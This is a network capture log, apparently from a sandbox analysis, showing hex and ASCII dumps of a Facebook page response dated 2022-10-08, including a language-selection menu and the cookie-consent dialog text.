2022-10-08 09:35:10 UTC	517	IN	Data Raw: 2c 22 5a 32 47 6a 56 75 39 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 30 37 4a 53 69 50 30 22 2c 22 57 32 4c 37 42 53 63 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 48 6f 76 65 72 63 61 72 64 22 3a 7b 22 72 22 3a 5b 22 63 68 58 77 50 72 55 22 2c 22 64 69 6f 67 56 Data Ascii: ,"Z2GjVu9","hKY0QKT","79V9cVZ","KsbRs3u","vGt2mxz","6qbw3PQ","lWOvGTa","I2xmEyO","h3ZzAmG","BIylKC4","ePe4ZR6","cYU3c32","Fn3rAl7","RPLH8jg","07JSiP0","W2L7BSc"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"]},"be":1},"Hovercard":{"r":["chXwPrU","diogV
2022-10-08 09:35:10 UTC	519	IN	Data Raw: 22 5c 2f 6f 30 47 44 55 6d 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 4c 38 6b 70 71 79 46 22 2c 22 52 50 4c 48 38 6a 67 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 7d 2c 22 62 Data Ascii: "\/o0GDUm","JAFzMOq","X9nr65a","13Ewqji","Z2GjVu9","hKY0QKT","79V9cVZ","KsbRs3u","vGt2mxz","6qbw3PQ","lWOvGTa","I2xmEyO","h3ZzAmG","BIylKC4","ePe4ZR6","cYU3c32","Fn3rAl7","L8kpqyF","RPLH8jg","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"]},"b
2022-10-08 09:35:10 UTC	520	IN	Data Raw: 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 42 49 79 6c 4b 43 34 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 Data Ascii: C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","IaR\/6uP","n6W4xMH","8zbEZtu","13Ewqji","hKY0QKT","79V9cVZ","vGt2mxz","6qbw3PQ","h3ZzAmG","ePe4ZR6","cYU3c32","Fn3rAl7","07JSiP0"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["BIylKC4"]},"be":1},"XU
2022-10-08 09:35:10 UTC	522	IN	Data Raw: 46 6e 39 67 78 49 4b 73 45 4a 6b 44 46 30 74 47 59 48 2d 4c 69 54 33 68 52 6d 69 64 68 76 47 34 66 54 34 58 41 39 72 37 78 68 2d 37 2d 38 63 63 4c 72 7a 79 77 31 39 43 55 67 31 6b 7a 52 42 53 4a 77 41 77 6b 34 6e 5a 70 6c 38 32 4d 4c 77 6e 50 65 63 49 46 41 76 6c 68 77 57 39 56 46 37 73 59 72 54 4b 52 30 31 45 49 64 76 76 66 54 39 39 67 79 71 67 22 2c 22 75 6e 74 72 75 73 74 65 64 5f 6c 69 6e 6b 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 32 6d 74 50 61 52 38 56 4b 37 36 58 69 67 48 57 6c 47 44 76 78 5a 43 69 54 44 71 6e 78 50 33 69 32 7a 61 6e 65 42 43 62 56 71 7a 33 47 69 30 65 54 56 78 6e 62 4d 4d 4f 51 53 66 55 77 4f 31 34 54 62 54 64 74 74 63 67 56 57 4e 58 72 69 5f 31 4e 38 34 6c 79 63 46 6f 77 58 79 59 51 5a 4b 69 62 79 49 61 4a 6b 4e 42 Data Ascii: Fn9gxIKsEJkDF0tGYH-LiT3hRmidhvG4fT4XA9r7xh-7-8ccLrzyw19CUg1kzRBSJwAwk4nZpl82MLwnPecIFAvlhwW9VF7sYrTKR01EIdvvfT99gyqg","untrusted_link_default_hash":"AT2mtPaR8VK76XigHWlGDvxZCiTDqnxP3i2zaneBCbVqz3Gi0eTVxnbMMOQSfUwO14TbTdttcgVWNXri_1N84lycFowXyYQZKibyIaJkNB
2022-10-08 09:35:10 UTC	523	IN	Data Raw: 33 66 36 32 0d 0a 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 43 62 22 2c 22 48 54 4d 4c 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 31 5f 75 4f 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 2b 32 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 33 5f 6b 33 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 34 5f 4b 4b 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 35 5f 38 65 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 36 5f 4d 4f 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 37 5f 6a 4a 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f Data Ascii: 3f62SelectableItem","__markup_3310c079_0_0_Cb","HTML","__markup_3310c079_0_1_uO","__markup_3310c079_0_2_+2","__markup_3310c079_0_3_k3","__markup_3310c079_0_4_KK","__markup_3310c079_0_5_8e","__markup_3310c079_0_6_MO","__markup_3310c079_0_7_jJ","__markup_
2022-10-08 09:35:10 UTC	524	IN	Data Raw: 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 47 42 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 33 5f 6b 33 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 6e 67 6c 69 73 68 20 28 55 4b 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 55 53 22 2c 22 73 65 6c 65 63 74 65 Data Ascii: "headerItem"},{"class":"headerItem","value":"en_GB","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_3_k3"},"label":"English (UK)","title":"","className":"headerItem"},{"class":"headerItem","value":"en_US","selecte
2022-10-08 09:35:10 UTC	526	IN	Data Raw: 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 44 47 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 62 5f 4e 4f 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 62 5f 32 2b 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 6f 72 73 6b 20 28 62 6f 6b 6d 5c 75 30 30 65 35 6c 29 22 2c 22 74 69 74 6c Data Ascii: __markup_3310c079_0_a_DG"},"label":"Nederlands","title":"","className":"headerItem"},{"class":"headerItem","value":"nb_NO","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_b_2+"},"label":"Norsk (bokm\u00e5l)","titl
2022-10-08 09:35:10 UTC	527	IN	Data Raw: 5f 56 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 69 5f 44 49 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 54 69 5c 75 31 65 62 66 6e 67 20 56 69 5c 75 31 65 63 37 74 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 74 72 5f 54 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 Data Ascii: _VN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_i_DI"},"label":"Ti\u1ebfng Vi\u1ec7t","title":"","className":"headerItem"},{"class":"headerItem","value":"tr_TR","selected":false,"ctor":{"__m":"MenuSelectableI
2022-10-08 09:35:10 UTC	528	IN	Data Raw: 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 65 6d 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 39 33 39 5c 75 30 39 33 66 5c 75 30 39 32 38 5c 75 30 39 34 64 5c 75 30 39 32 36 5c 75 30 39 34 30 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 74 68 5f 54 48 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e Data Ascii: ,"selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_p_em"},"label":"\u0939\u093f\u0928\u094d\u0926\u0940","title":"","className":"headerItem"},{"class":"headerItem","value":"th_TH","selected":false,"ctor":{"__m":"Men
2022-10-08 09:35:10 UTC	530	IN	Data Raw: 5d 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 5f 35 37 64 69 22 2c 22 6d 61 78 68 65 69 67 68 74 22 3a 35 30 30 2c 22 74 68 65 6d 65 22 3a 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 54 68 65 6d 65 22 7d 7d 5d 2c 33 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 76 65 22 2c 5b 22 44 69 61 6c 6f 67 58 22 2c 22 4c 61 79 65 72 46 61 64 65 4f 6e 48 69 64 65 22 2c 22 44 69 61 6c 6f 67 48 69 64 65 4f 6e 53 75 63 63 65 73 73 22 2c 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 4c 61 79 65 72 52 65 6d 6f 76 65 4f 6e 48 69 64 65 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 51 30 22 2c 22 48 54 4d 4c 22 5d 2c 5b 7b 22 77 69 64 74 68 22 3a 36 38 30 2c 22 61 75 74 6f 68 69 64 65 22 3a Data Ascii: ],"className":"_57di","maxheight":500,"theme":{"__m":"XUIMenuTheme"}}],3],["__inst_ead1e565_0_0_ve",["DialogX","LayerFadeOnHide","DialogHideOnSuccess","LayerHideOnTransition","LayerRemoveOnHide","__markup_9f5fac15_0_0_Q0","HTML"],[{"width":680,"autohide":
2022-10-08 09:35:10 UTC	531	IN	Data Raw: 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 32 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 33 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 39 37 66 36 38 36 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 36 61 20 75 69 50 6f 70 6f 76 65 72 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 37 5f 79 6c 5c 22 3e 5c 75 30 30 33 43 61 20 72 6f 6c 65 3d 5c 22 62 75 74 74 6f 6e 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 35 35 70 69 20 5f 32 61 67 66 20 5f 34 6f 5f 34 20 5f 39 6f 2d 65 20 5f 70 20 5f 34 6a 79 33 20 5f 35 31 37 68 20 5f 35 31 73 79 5c 22 20 68 72 65 66 3d 5c Data Ascii: u003Cdiv class=\"_9xl2\">\u003Cdiv class=\"_9xl3\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_97f686\">\u003C\/i>\u003Cdiv class=\"_6a uiPopover\" id=\"u_0_7_yl\">\u003Ca role=\"button\" class=\"_42ft _4jy0 _55pi _2agf _4o_4 _9o-e _p _4jy3 _517h _51sy\" href=\
2022-10-08 09:35:10 UTC	533	IN	Data Raw: 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 46 6f 72 20 61 64 76 65 72 74 69 73 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 65 6d 65 6e 74 20 73 65 72 76 69 63 65 73 20 6f 66 66 20 6f 66 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 2c 20 61 6e 61 6c 79 74 69 63 73 2c 20 61 6e 64 20 74 6f 20 70 72 6f 76 69 64 65 20 63 65 72 74 61 69 6e 20 66 65 61 74 75 72 65 73 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 6f 75 72 20 73 65 72 76 69 63 65 73 20 66 6f 72 20 79 6f 75 2c 20 77 65 20 75 73 65 20 74 6f 6f 6c 73 20 66 72 6f 6d 20 6f 74 68 65 72 20 63 6f 6d 70 61 6e 69 65 73 20 6f 6e 20 46 61 63 65 62 6f 6f 6b 2e 20 54 68 65 73 65 20 63 6f 6d 70 61 6e 69 65 73 20 61 6c 73 6f 20 75 73 65 20 63 6f 6f 6b 69 65 73 Data Ascii: \u003C\/div>\u003Cdiv>\u003Cdiv>For advertising and measurement services off of Facebook Products, analytics, and to provide certain features and improve our services for you, we use tools from other companies on Facebook. These companies also use cookies
2022-10-08 09:35:10 UTC	534	IN	Data Raw: 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 49 66 20 79 6f 75 20 68 61 76 65 20 61 20 46 61 63 65 62 6f 6f 6b 20 61 63 63 6f 75 6e 74 2c 20 79 6f 75 20 63 61 6e 20 6d 61 6e 61 67 65 20 68 6f 77 20 64 69 66 66 65 72 65 6e 74 20 64 61 74 61 20 69 73 20 75 73 65 64 20 74 6f 20 70 65 72 73 6f 6e 61 6c 69 7a 65 20 61 64 73 20 77 69 74 68 20 74 68 65 73 65 20 74 6f 6f 6c 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 73 69 2d 5c 22 3e 41 64 20 73 65 74 74 69 6e 67 73 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 54 6f 20 73 68 6f 77 20 79 6f 75 20 62 65 74 74 65 72 20 61 64 73 2c 20 77 65 20 75 73 65 20 64 61 74 Data Ascii: 003Cdiv>\u003Cp class=\"_9o-m\">If you have a Facebook account, you can manage how different data is used to personalize ads with these tools.\u003C\/p>\u003Cp class=\"_9si-\">Ad settings\u003C\/p>\u003Cp class=\"_9o-m\">To show you better ads, we use dat
2022-10-08 09:35:10 UTC	536	IN	Data Raw: 68 20 61 73 20 76 69 73 69 74 69 6e 67 20 74 68 65 69 72 20 61 70 70 73 20 6f 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 20 75 73 65 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 32 32 33 30 35 30 33 37 39 37 32 36 35 31 35 36 5c 22 3e 42 75 73 69 6e 65 73 73 20 54 6f 6f 6c 73 5c 75 30 30 33 43 5c 2f 61 3e 2c 20 73 75 63 68 20 61 73 20 46 61 63 65 62 6f 6f 6b 20 4c 6f 67 69 6e 20 6f 72 20 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 2c 20 74 6f 20 73 68 61 72 65 20 74 68 69 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 77 69 74 68 20 75 73 2e 20 54 68 69 73 20 68 65 6c 70 73 20 75 73 20 64 6f 20 74 68 69 6e 67 73 20 73 75 63 68 20 61 73 20 67 Data Ascii: h as visiting their apps or websites. They use our \u003Ca href=\"https:\/\/www.facebook.com\/help\/2230503797265156\">Business Tools\u003C\/a>, such as Facebook Login or Facebook Pixel, to share this information with us. This helps us do things such as g
2022-10-08 09:35:10 UTC	537	IN	Data Raw: 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 73 2e 63 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 33 6c 4e 38 6d 43 6f 6e 6f 47 72 68 38 37 5a 70 65 4e 50 61 73 6d 37 5a 4c 6a 62 4e 44 4f 74 73 31 77 35 54 78 76 47 64 44 4f 46 4a 32 51 50 33 56 71 48 77 30 41 41 5f 67 36 64 5a 31 71 6b 66 45 56 33 77 78 70 34 73 52 55 7a 6c 57 71 49 31 2d 62 43 61 77 42 64 52 6c 33 68 36 45 34 75 68 5a 55 39 62 38 54 45 47 57 64 30 37 47 77 30 2d 58 30 5a 6a 35 52 78 37 66 62 76 5a 66 6f 6c 77 53 31 34 6a 39 61 73 76 72 5a 63 4b 32 73 35 35 32 63 68 51 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 Data Ascii: facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoices.ca\u00252F&h=AT3lN8mConoGrh87ZpeNPasm7ZLjbNDOts1w5TxvGdDOFJ2QP3VqHw0AA_g6dZ1qkfEV3wxp4sRUzlWqI1-bCawBdRl3h6E4uhZU9b8TEGWd07Gw0-X0Zj5Rx7fbvZfolwS14j9asvrZcK2s552chQ\" target=\"_blank\" re
2022-10-08 09:35:10 UTC	538	IN	Data Raw: 34 34 35 32 0d 0a 73 6f 75 72 63 65 73 3a 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 75 6c 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 71 5c 22 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 6f 70 74 6f 75 74 2e 61 62 6f 75 74 61 64 73 2e 69 6e 66 6f 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 4c 66 51 61 2d 71 54 4e 37 4a 6d 6d 4e 33 39 32 45 47 49 31 6f 6c 39 6a 5f 4a 67 79 46 6b 32 4c 4c 42 4b 6d 6a 53 45 72 4b 4b 55 70 72 72 44 57 44 2d 53 71 5f 66 4d 61 6a 5a 57 4c 49 7a 72 4a 31 38 62 57 5f 78 78 66 54 67 72 41 50 75 30 32 44 Data Ascii: 4452sources:\u003C\/p>\u003Cul class=\"_9o-q\">\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Foptout.aboutads.info\u00252F&h=AT2LfQa-qTN7JmmN392EGI1ol9j_JgyFk2LLBKmjSErKKUprrDWD-Sq_fMajZWLIzrJ18bW_xxfTgrAPu02D
2022-10-08 09:35:10 UTC	540	IN	Data Raw: 6f 6f 6b 69 65 73 20 77 69 74 68 20 62 72 6f 77 73 65 72 20 73 65 74 74 69 6e 67 73 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 67 20 5f 39 76 37 76 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 38 65 30 63 62 32 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 5c 2f 73 70 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 59 6f 75 72 20 62 Data Ascii: ookies with browser settings\u003C\/div>\u003C\/span>\u003Cspan class=\"_9ngg _9v7v\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_8e0cb2\">\u003C\/i>\u003C\/span>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">Your b
2022-10-08 09:35:10 UTC	541	IN	Data Raw: 69 65 43 6f 55 37 4f 5a 58 4e 51 45 32 7a 72 78 35 39 4a 54 43 47 70 52 67 4c 4f 73 7a 58 36 35 53 73 69 50 30 45 73 55 37 70 56 34 65 50 38 53 51 47 59 47 54 50 32 47 37 30 65 6c 2d 48 58 48 71 68 70 6a 6f 67 6a 52 58 65 6b 5a 53 49 31 4e 52 75 53 71 74 45 34 39 41 44 67 47 4d 37 74 72 50 32 41 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 5c 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 5c 22 68 6f 76 65 72 5c 22 3e 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 75 30 30 33 43 5c 2f 61 3e 5c 75 30 30 33 43 5c 2f 6c 69 3e 5c 75 30 30 33 43 6c 69 3e 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 Data Ascii: ieCoU7OZXNQE2zrx59JTCGpRgLOszX65SsiP0EsU7pV4eP8SQGYGTP2G70el-HXHqhpjogjRXekZSI1NRuSqtE49ADgGM7trP2A\" target=\"_blank\" rel=\"nofollow\" data-lynx-mode=\"hover\">Internet Explorer\u003C\/a>\u003C\/li>\u003Cli>\u003Ca href=\"https:\/\/l.facebook.com\/l.php
2022-10-08 09:35:10 UTC	543	IN	Data Raw: 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 62 6c 6f 67 73 2e 6f 70 65 72 61 2e 63 6f 6d 5c 75 30 30 32 35 32 46 6e 65 77 73 5c 75 30 30 32 35 32 46 32 30 31 35 5c 75 30 30 32 35 32 46 30 38 5c 75 30 30 32 35 32 46 68 6f 77 2d 74 6f 2d 6d 61 6e 61 67 65 2d 63 6f 6f 6b 69 65 73 2d 69 6e 2d 6f 70 65 72 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 32 63 50 79 4d 57 43 35 6c 77 75 79 72 64 75 2d 50 43 71 64 79 36 68 4d 44 50 70 58 53 4a 78 34 65 70 57 6b 31 70 50 63 37 76 64 68 77 63 4d 44 34 68 63 65 70 47 42 5a 79 5f 38 4a 71 77 41 52 6c 56 52 79 4f 32 70 37 33 56 4d 53 74 58 58 34 54 63 4c 67 55 57 4a 6d 76 4c 71 5f 76 54 5f 54 2d 41 64 62 5f 68 56 63 6a 54 49 6c 6b 73 49 6d 32 51 47 58 68 45 73 4c 33 30 6f 52 54 55 4a Data Ascii: \u00253A\u00252F\u00252Fblogs.opera.com\u00252Fnews\u00252F2015\u00252F08\u00252Fhow-to-manage-cookies-in-opera\u00252F&h=AT2cPyMWC5lwuyrdu-PCqdy6hMDPpXSJx4epWk1pPc7vdhwcMD4hcepGBZy_8JqwARlVRyO2p73VMStXX4TcLgUWJmvLq_vT_T-Adb_hVcjTIlksIm2QGXhEsL30oRTUJ
